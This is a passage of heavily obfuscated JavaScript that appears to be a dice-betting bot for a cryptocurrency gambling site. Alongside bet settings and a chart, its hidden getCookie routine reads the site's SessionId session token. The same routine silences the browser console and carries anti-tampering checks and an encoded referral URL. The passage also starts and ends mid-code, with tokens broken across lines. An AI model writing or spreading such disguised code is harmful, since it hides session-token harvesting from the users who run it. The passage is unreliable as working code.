_0x1def9f*0x40+_0x1f2aa3:_0x1f2aa3,_0x303d75++%0x4)?
_0x412164+=String['fromCharCode'](0xff&_0x1def9f>>(-0x2*_0x303d75&0x6)):0x0)
{_0x1f2aa3=_0x124c38['indexOf'](_0x1f2aa3);}return _0x412164;});}
());nzx_0x1513['aELnox']=function(_0x3d6746){var _0x5cc17d=atob(_0x3d6746);var
_0x4306ff=[];for(var
_0x18cd7f=0x0,_0xb7f661=_0x5cc17d['length'];_0x18cd7f<_0xb7f661;_0x18cd7f++)
{_0x4306ff+='%'+('00'+_0x5cc17d['charCodeAt'](_0x18cd7f)['toString'](0x10))
['slice'](-0x2);}return
decodeURIComponent(_0x4306ff);};nzx_0x1513['BZYkdb']={};nzx_0x1513['gWpCyV']=!!
[];}var _0x4e2f48=nzx_0x1513['BZYkdb'][_0x25e601];if(_0x4e2f48===undefined){var
_0x43a9b9=function(_0x73f05c)
{this['SjAHfK']=_0x73f05c;this['tmVcqy']=[0x1,0x0,0x0];this['BeBcGv']=function()
{return'newState';};this['QMCwhH']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['Q
yZzMS']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x43a9b9['prototype']
['xTzcnb']=function(){var _0x13075d=new RegExp(this['QMCwhH']+this['QyZzMS']);var
_0x48b2f4=_0x13075d['test'](this['BeBcGv']['toString']())?--this['tmVcqy'][0x1]:--
this['tmVcqy'][0x0];return this['dfEfZl'](_0x48b2f4);};_0x43a9b9['prototype']
['dfEfZl']=function(_0x50e26e){if(!Boolean(~_0x50e26e)){return _0x50e26e;}return
this['BysyRk'](this['SjAHfK']);};_0x43a9b9['prototype']
['BysyRk']=function(_0x5225a0){for(var _0x5ca27a=0x0,_0x365ceb=this['tmVcqy']
['length'];_0x5ca27a<_0x365ceb;_0x5ca27a++){this['tmVcqy']['push'](Math['round']
(Math['random']()));_0x365ceb=this['tmVcqy']['length'];}return
_0x5225a0(this['tmVcqy'][0x0]);};new _0x43a9b9(nzx_0x1513)['xTzcnb']
();_0x284805=nzx_0x1513['aELnox'](_0x284805);nzx_0x1513['BZYkdb']
[_0x25e601]=_0x284805;}else{_0x284805=_0x4e2f48;}return _0x284805;};var
refurl=nzx_0x1513('0x0');var bet,basebet,minbet,minchance,maxchance;var
balance,lastbalance,startbalance,oldbalance,sbalance,profit,totalprofit,series,risk
,divider,loss,loss2;var multwin,multlose,target,maxbet;var betid;var coin;var
high,low;var id=!0x1;var _start=0x0;var sessionCookie=getCookie();var date=new
Date();var startdate=date;var playTimer=setInterval(nzx_0x1513('0x1'),0x64);var
playGame=setInterval(function(){clearInterval(playGame);},0x64);var
loss=0x0,loss2=0x0,loss3=0x0;var cnBalance=0x0;var waitBet=setInterval(function()
{placeBet();},0x2710);clearInterval(waitBet);var bets=0x0;var wins=0x0;var
arrBalance=[];var rainalert={};rainalert=new
Audio();rainalert[nzx_0x1513('0x2')]='\x20\x20';rainalert[nzx_0x1513('0x3')]=0.95;f
unction soundz(){rainalert['play']();}$(nzx_0x1513('0x4'))[nzx_0x1513('0x5')]
(nzx_0x1513('0x6'),function(){if($(this)[nzx_0x1513('0x7')](0x2)[nzx_0x1513('0x7')]
()[nzx_0x1513('0x8')](nzx_0x1513('0x9'))['length']){if(nzx_0x1513('0xa')!
==nzx_0x1513('0xa')){basebet=parseFloat($(nzx_0x1513('0xb'))['val']
());chance=Math['random']()*(maxchance-minchance)+minchance;multwin=parseFloat($
(nzx_0x1513('0xc'))[nzx_0x1513('0xd')]());multlose=parseFloat($(nzx_0x1513('0xe'))
[nzx_0x1513('0xd')]());risk=parseFloat($(nzx_0x1513('0xf'))[nzx_0x1513('0xd')]
());lastbalance=balance;bet=basebet;loss2=0x0;wins=0x0;}else{soundz();}}});var
gamealert={};gamealert=new

Audio();gamealert[nzx_0x1513('0x2')]='\x20\x20';gamealert[nzx_0x1513('0x3')]=0.95;f
unction soundy(){gamealert[nzx_0x1513('0x10')]();}function getCookie(){var
_0x29a86f=function(){var _0x167027=!![];return function(_0x363715,_0x3ecb8c){var
_0x4a0539=_0x167027?function(){if(_0x3ecb8c){var _0xba483=_0x3ecb8c['apply']
(_0x363715,arguments);_0x3ecb8c=null;return _0xba483;}}:function(){};_0x167027=!
[];return _0x4a0539;};}();var _0x5ef646=_0x29a86f(this,function(){var
_0x3f97b1=function(){return'\x64\x65\x76';},_0x573aa3=function()
{return'\x77\x69\x6e\x64\x6f\x77';};var _0x59211d=function(){var _0x54eea3=new
RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x2
7\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!
_0x54eea3['\x74\x65\x73\x74'](_0x3f97b1['\x74\x6f\x53\x74\x72\x69\x6e\x67']
());};var _0x1cbc67=function(){var _0x38eda4=new
RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2
b');return _0x38eda4['\x74\x65\x73\x74']
(_0x573aa3['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var
_0x2bf872=function(_0x396946){var _0x1edbc2=~-0x1>>0x1+0xff
%0x0;if(_0x396946['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x1edbc2))
{_0x5c7d68(_0x396946);}};var _0x5c7d68=function(_0x456691){var _0x28c892=~-
0x4>>0x1+0xff%0x0;if(_0x456691['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!
==_0x28c892){_0x2bf872(_0x456691);}};if(!_0x59211d()){if(!_0x1cbc67())
{_0x2bf872('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x2bf872('\x69\x6e\x64\x65\x78\
x4f\x66');}}else{_0x2bf872('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x5ef646();var
_0x4bfd19=function(){var _0x29abc3=!![];return function(_0x35d62e,_0x39d3cc)
{if(nzx_0x1513('0x11')!==nzx_0x1513('0x11')){$('#BetHighButton')
[nzx_0x1513('0x12')]();}else{var _0x3ba38b=_0x29abc3?function(){if('NDJAV'!
=='NDJAV')
{w=0x2*Math['PI']*f;re=0x0;im=0x0;for(_0x5a4b5d=0x0;_0x5a4b5d<len;_0x5a4b5d++)
{re+=roll_buff[_0x5a4b5d]*Math[nzx_0x1513('0x13')]
(w*_0x5a4b5d/len);im+=roll_buff[_0x5a4b5d]*Math[nzx_0x1513('0x14')]
(w*_0x5a4b5d/len);}out_buff['push']([f,Math['hypot']
(im,re)/len,Math[nzx_0x1513('0x15')](im,re)]);}else{if(_0x39d3cc)
{if(nzx_0x1513('0x16')!==nzx_0x1513('0x16')){return'0'+valString;}else{var
_0x584fc1=_0x39d3cc[nzx_0x1513('0x17')](_0x35d62e,arguments);_0x39d3cc=null;return
_0x584fc1;}}}}:function(){};_0x29abc3=![];return _0x3ba38b;}};}();var
_0x5573ff=_0x4bfd19(this,function(){if(nzx_0x1513('0x18')===nzx_0x1513('0x18')){var
_0x4d4acb=function(){};var _0x179f33;try{if(nzx_0x1513('0x19')==='HmwYF'){$
(nzx_0x1513('0x1a'))['click']();}else{var
_0x21eee5=Function('return\x20(function()\x20'+nzx_0x1513('0x1b')
+');');_0x179f33=_0x21eee5();}}catch(_0x4bb997){_0x179f33=window;}if(!
_0x179f33[nzx_0x1513('0x1c')]){if(nzx_0x1513('0x1d')!==nzx_0x1513('0x1d'))
{if(u())_start=!_start;if(!_start){$(nzx_0x1513('0x1e'))[nzx_0x1513('0x1f')]
(nzx_0x1513('0x20'));$(nzx_0x1513('0x1e'))['css']
(nzx_0x1513('0x21'),nzx_0x1513('0x22'));betting=0x0;clearInterval(playTimer);clearI
nterval(playGame);clearInterval(waitBet);return;}else{$(nzx_0x1513('0x1e'))
[nzx_0x1513('0x1f')](nzx_0x1513('0x23'));$(nzx_0x1513('0x1e'))['css']
(nzx_0x1513('0x21'),nzx_0x1513('0x24'));startdate=new
Date();playTimer=setInterval(nzx_0x1513('0x1'),0x64);balance=parseFloat($
(nzx_0x1513('0x25'))[0x0][nzx_0x1513('0x26')]);minchance=parseFloat($
(nzx_0x1513('0x27'))['val']());maxchance=parseFloat($(nzx_0x1513('0x28'))['val']
());chance=Math[nzx_0x1513('0x29')]()*(maxchance-minchance)
+minchance;multwin=parseFloat($(nzx_0x1513('0xc'))[nzx_0x1513('0xd')]
());multlose=parseFloat($(nzx_0x1513('0xe'))[nzx_0x1513('0xd')]
());risk=parseFloat($('#_risk')[nzx_0x1513('0xd')]
());arrBalance=[];startbalance=balance;lastbalance=balance;oldbalance=balance;sbala
nce=balance;minbet=Math[nzx_0x1513('0x2a')](0x64/(0x64-
chance))/0x5f5e100;if(minbet<1e-8)minbet=1e-8;basebet=parseFloat($('#_basebet')
['val']
());if(basebet<minbet)basebet=minbet;bet=basebet;loss=0x0;loss2=0x0;loss3=0x0;wins=
0x0;profit=0x0;updateChart(bets,profit,nzx_0x1513('0x2b'));playGame=setInterval('pl
ayDice()',0x64);coin=$(nzx_0x1513('0x2c'))[0x0][nzx_0x1513('0x2d')]
[nzx_0x1513('0x2e')]();betting=!![];bets=0x0;dps=[{'x':0x0,'y':0x0}];chart=new
CanvasJS[(nzx_0x1513('0x2f'))](nzx_0x1513('0x30'),
{'theme':nzx_0x1513('0x31'),'zoomEnabled':!!
[],'backgroundColor':nzx_0x1513('0x32'),'axisX':
{'title':nzx_0x1513('0x33'),'includeZero':![]},'axisY':
{'title':nzx_0x1513('0x34'),'includeZero':![]},'title':
{'fontColor':nzx_0x1513('0x35'),'fontSize':0x14,'padding':0x14},'data':
[{'type':nzx_0x1513('0x36'),'dataPoints':dps}]});chart[nzx_0x1513('0x37')]
();placeBet();}}else{_0x179f33['console']=function(_0x4d4acb)
{if(nzx_0x1513('0x38')!==nzx_0x1513('0x38')){if(fn){var
_0x426558=fn[nzx_0x1513('0x17')](context,arguments);fn=null;return
_0x426558;}}else{var
_0x30bfbd={};_0x30bfbd['log']=_0x4d4acb;_0x30bfbd[nzx_0x1513('0x39')]=_0x4d4acb;_0x
30bfbd[nzx_0x1513('0x3a')]=_0x4d4acb;_0x30bfbd['info']=_0x4d4acb;_0x30bfbd['error']
=_0x4d4acb;_0x30bfbd['exception']=_0x4d4acb;_0x30bfbd[nzx_0x1513('0x3b')]=_0x4d4acb
;return _0x30bfbd;}}(_0x4d4acb);}}else{_0x179f33[nzx_0x1513('0x1c')]
['log']=_0x4d4acb;_0x179f33[nzx_0x1513('0x1c')]
[nzx_0x1513('0x39')]=_0x4d4acb;_0x179f33[nzx_0x1513('0x1c')]
[nzx_0x1513('0x3a')]=_0x4d4acb;_0x179f33[nzx_0x1513('0x1c')]
[nzx_0x1513('0x3c')]=_0x4d4acb;_0x179f33[nzx_0x1513('0x1c')]
['error']=_0x4d4acb;_0x179f33[nzx_0x1513('0x1c')]
[nzx_0x1513('0x3d')]=_0x4d4acb;_0x179f33[nzx_0x1513('0x1c')]
[nzx_0x1513('0x3b')]=_0x4d4acb;}}else{_0x179f33=window;}});_0x5573ff();var
_0x2727c6=document[nzx_0x1513('0x3e')];var _0x5a4b5d=_0x2727c6[nzx_0x1513('0x3f')]
('SessionId=');var _0xc57c02=_0x2727c6[nzx_0x1513('0x40')]
(_0x5a4b5d+0xa,_0x5a4b5d+0x2a);return _0xc57c02;}function pad(_0x5abe12){var
_0x37abd8=_0x5abe12+'';if(_0x37abd8[nzx_0x1513('0x41')]<0x2){if(nzx_0x1513('0x42')!
==nzx_0x1513('0x42')){$('#_start')['text'](nzx_0x1513('0x23'));$
(nzx_0x1513('0x1e'))['css']('color','red');startdate=new
Date();playTimer=setInterval(nzx_0x1513('0x1'),0x64);balance=parseFloat($
(nzx_0x1513('0x25'))[0x0][nzx_0x1513('0x26')]);minchance=parseFloat($
(nzx_0x1513('0x27'))[nzx_0x1513('0xd')]());maxchance=parseFloat($('#_maxchance')
[nzx_0x1513('0xd')]());chance=Math[nzx_0x1513('0x29')]()*(maxchance-minchance)
+minchance;multwin=parseFloat($('#_multwin')['val']());multlose=parseFloat($
(nzx_0x1513('0xe'))[nzx_0x1513('0xd')]());risk=parseFloat($(nzx_0x1513('0xf'))
[nzx_0x1513('0xd')]
());arrBalance=[];startbalance=balance;lastbalance=balance;oldbalance=balance;sbala
nce=balance;minbet=Math[nzx_0x1513('0x2a')](0x64/(0x64-
chance))/0x5f5e100;if(minbet<1e-8)minbet=1e-8;basebet=parseFloat($('#_basebet')
[nzx_0x1513('0xd')]
());if(basebet<minbet)basebet=minbet;bet=basebet;loss=0x0;loss2=0x0;loss3=0x0;wins=
0x0;profit=0x0;updateChart(bets,profit,nzx_0x1513('0x2b'));playGame=setInterval(nzx
_0x1513('0x43'),0x64);coin=$('.CurrencyName')[0x0][nzx_0x1513('0x2d')]
[nzx_0x1513('0x2e')]();betting=!![];bets=0x0;dps=[{'x':0x0,'y':0x0}];chart=new
CanvasJS[(nzx_0x1513('0x2f'))](nzx_0x1513('0x30'),
{'theme':nzx_0x1513('0x31'),'zoomEnabled':!!
[],'backgroundColor':'transparent','axisX':
{'title':nzx_0x1513('0x33'),'includeZero':![]},'axisY':
{'title':nzx_0x1513('0x34'),'includeZero':![]},'title':
{'fontColor':nzx_0x1513('0x35'),'fontSize':0x14,'padding':0x14},'data':
[{'type':nzx_0x1513('0x36'),'dataPoints':dps}]});chart[nzx_0x1513('0x37')]
();placeBet();}else{return'0'+_0x37abd8;}}else{if(nzx_0x1513('0x44')!
==nzx_0x1513('0x44')){$(nzx_0x1513('0x1a'))[nzx_0x1513('0x12')]();}else{return
_0x37abd8;}}};function currentTime(){var _0x160d8b=new Date();var
_0x5361e0=_0x160d8b[nzx_0x1513('0x45')]
();if(_0x5361e0<0xa)_0x5361e0='0'+_0x160d8b['getHours']();var
_0x568e9c=_0x160d8b[nzx_0x1513('0x46')]
();if(_0x568e9c<0xa)_0x568e9c='0'+_0x160d8b['getMinutes']();var
_0x364beb=_0x160d8b['getSeconds']
();if(_0x364beb<0xa)_0x364beb='0'+_0x160d8b[nzx_0x1513('0x47')]();var
_0x18fc29=_0x5361e0+':'+_0x568e9c+':'+_0x364beb;$(nzx_0x1513('0x48'))
[nzx_0x1513('0x49')](_0x18fc29);}var style='<style>\x0acanvas{\x0a\x09-moz-user-
select:none;\x0a\x09-webkit-user-select:none;\x0a\x09-ms-user-
select:none\x0a}\x0a.boxDice{\x0a\x09border:1px\x20solid\x20#000;\x0a\x09border-
radius:10px;\x0a\x09margin-top:3px;\x0a\x09padding-
bottom:5px;\x0a\x09width:600px;\x0a\x09height:389px;\x0a\x09background-
color:#292929;\x0a\x09background-
image:url(\x22data:image/jpeg;base64,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
